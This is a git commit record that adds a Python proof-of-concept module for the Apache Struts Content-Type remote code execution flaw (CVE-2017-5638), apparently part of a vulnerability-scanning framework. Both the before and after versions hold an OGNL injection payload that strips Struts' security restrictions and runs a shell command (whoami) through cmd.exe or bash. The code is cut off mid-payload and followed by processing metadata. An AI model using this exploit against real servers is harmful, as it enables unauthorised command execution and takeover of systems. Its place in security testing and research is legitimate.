<commit_before># -*- coding: utf-8 -*-
# Add: 20171008
# Affected Software: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
# CVE Identifier: CVE-2017-5638
import requests
from scripts.poc.poc_interface import PocInterface


class Struct2_046(PocInterface):
    def exp(self, url, command):
        header = {'Content-Length': '1000000000', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1',
                  'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
                  'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2',
                  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                  }
        a = "%{(#nike='multipart/form-data')" \
            ".(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)" \
            ".(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])" \
            ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" \
            ".(#ognlUtil.getExcludedPackageNames().clear())" \
            ".(#ognlUtil.getExcludedClasses().clear())" \
            ".(#context.setMemberAccess(#dm))))" \
            ".(#cmd='whoami')" \
            ".(#iswin=(@<EMAIL>@getProperty('os.name')" \
            ".toLowerCase().contains('win')))" \
            ".(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))" \
            ".(#p=new java.lang.ProcessBuilder(#cmds))" \
            ".(#p.redirectErrorStream(true)).(#process=#p.start())" \<commit_msg>add structs_046<commit_after># -*- coding: utf-8 -*-
# Add: 20171008
# Affected Software: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
# CVE Identifier: CVE-2017-5638

import requests
from scripts.poc.poc_interface import PocInterface


class Struct2_046(PocInterface):
    def exp(self, url, command):
        header = {'Content-Length': '1000000000', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1',
                  'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
                  'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2',
                  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
                  }
        a = "%{(#nike='multipart/form-data')" \
            ".(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)" \
            ".(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])" \
            ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" \
            ".(#ognlUtil.getExcludedPackageNames().clear())" \
            ".(#ognlUtil.getExcludedClasses().clear())" \
            ".(#context.setMemberAccess(#dm))))" \
            ".(#cmd='whoami')" \
            ".(#iswin=(@<EMAIL>@getProperty('os.name')" \
            ".toLowerCase().contains('win')))" \
            ".(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))" \
            ".(#p=new java.lang.ProcessBuilder(#cmds))" \
            ".(#p.redirectErrorStream(true)).(#process=#p.start())" \
{'fraction_non_alphanumeric': 0.2069997008674843, 'fraction_numerical': 0.05055339515405324, 'mean_word_length': 2.848101265822785, 'pattern_counts': {'":': 0, '<': 5, '<?xml version=': 0, '>': 5, 'https://': 0, 'lorem ipsum': 0, 'www.': 0, 'xml': 4}, 'pii_count': 0, 'substrings_counts': 2, 'word_list_counts': {'cursed_substrings.json': 0, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '4415781', 'n_tokens_mistral': 1292, 'n_tokens_neox': 1148, 'n_words': 143}